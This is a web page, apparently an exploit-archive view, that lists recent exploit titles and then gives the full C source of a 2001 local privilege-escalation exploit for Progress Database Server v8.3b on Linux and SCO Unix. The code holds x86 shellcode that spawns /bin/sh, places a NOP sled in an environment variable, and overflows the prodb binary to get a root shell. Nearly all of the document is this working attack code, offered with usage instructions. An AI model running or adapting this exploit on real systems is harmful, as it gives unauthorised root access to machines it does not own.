
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
113 lines
3.2 KiB
C
Executable file
113 lines
3.2 KiB
C
Executable file
/* progress database server v8.3b local root compromise.
|
|
* for sco-unix and linux
|
|
*
|
|
* [on linux redhat 6.2 and SCO_SV scosysv 3.2 5.05
|
|
*
|
|
* this is just one of it, advisory about the bug discovery grabbed
|
|
* from packetstorm, which was originally found by: krfinisterre@checkfree.com
|
|
*
|
|
* exploit usage: ./prodbx <distro> [offset]
|
|
*
|
|
* just some quick greets to: wildcoyote, lucipher, tasc, pyra, calimonk
|
|
* script0r, tozz, c-murdah and cerial
|
|
*
|
|
* - The Itch / BsE
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#define DEFAULT_OFFSET 0
|
|
#define DEFAULT_EGG_SIZE 2048
|
|
#define DEFAULT_BUFFER_SIZE 4200
|
|
#define NOP 0x90
|
|
|
|
unsigned long get_sp(void)
|
|
{
|
|
__asm__("movl %esp, %eax");
|
|
}
|
|
|
|
/* regular shellcode for linux on the x86 */
|
|
char linux_shellcode[] =
|
|
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
|
|
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
|
|
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
|
|
|
|
/* shellcode found (and used) in the advisory */
|
|
char sco_shellcode[] =
|
|
"\x89\xe6\x83\xc6\x30\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73"
|
|
"\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x0c\xb0\x0b"
|
|
"\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80";
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
char *buff;
|
|
char *egg;
|
|
char *ptr;
|
|
long *addr_ptr;
|
|
long addr;
|
|
int offset = DEFAULT_OFFSET;
|
|
int bsize = DEFAULT_BUFFER_SIZE;
|
|
int eggsize = DEFAULT_EGG_SIZE;
|
|
int unixtype = 0;
|
|
int i;
|
|
|
|
if(argc < 2)
|
|
{
|
|
printf("\nProgress Database Server v8.3b local root\n");
|
|
printf("\nUsage: %s <*nix type> [offset]\n\n", argv[0]);
|
|
printf("1 = linux\n");
|
|
printf("2 = sco-unix\n\n");
|
|
printf("offset is not required, but should be near -50 through 50\n\n");
|
|
exit(0);
|
|
}
|
|
|
|
if(argc > 1) { unixtype = atoi(argv[1]); }
|
|
if(argc > 2) { offset = atoi(argv[2]); }
|
|
|
|
if(!(buff = malloc(bsize)))
|
|
{
|
|
printf("Unable to allocate memory for %d bytes\n", bsize);
|
|
exit(0);
|
|
}
|
|
|
|
if(!(egg = malloc(eggsize)))
|
|
{
|
|
printf("Unable to allocate memory for %d bytes\n", eggsize);
|
|
exit(0);
|
|
}
|
|
|
|
addr = get_sp() - offset;
|
|
|
|
printf("\n --== Progress Database Server 8.3b local root ==--\n");
|
|
printf(" Coded by The Itch / BsE\n\n");
|
|
printf("Using return address: 0x%x\n", addr);
|
|
printf("Using offset : %d\n", offset);
|
|
printf("Using buffersize : %d\n", bsize);
|
|
|
|
ptr = buff;
|
|
addr_ptr = (long *) ptr;
|
|
for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; }
|
|
|
|
ptr = egg;
|
|
if(unixtype == 1) { for(i = 0; i < eggsize - strlen(linux_shellcode) -1; i++) { *(ptr++) = NOP; } }
|
|
if(unixtype == 2) { for(i = 0; i < eggsize - strlen(sco_shellcode) -1; i++) { *(ptr++) = NOP; } }
|
|
|
|
if(unixtype == 1) { for(i = 0; i < strlen(linux_shellcode); i++) { *(ptr++) = linux_shellcode[i]; } }
|
|
if(unixtype == 2) { for(i = 0; i < strlen(sco_shellcode); i++) { *(ptr++) = sco_shellcode[i]; } }
|
|
|
|
buff[bsize - 1] = '\0';
|
|
egg[eggsize - 1] = '\0';
|
|
memcpy(egg, "EGG=", 4);
|
|
putenv(egg);
|
|
memcpy(buff, "RET=", 4);
|
|
putenv(buff);
|
|
|
|
/* adjust path of prodb accordingly... */
|
|
system("/usr/dlc/bin/prodb sports $RET");
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
// milw0rm.com [2001-03-04]
|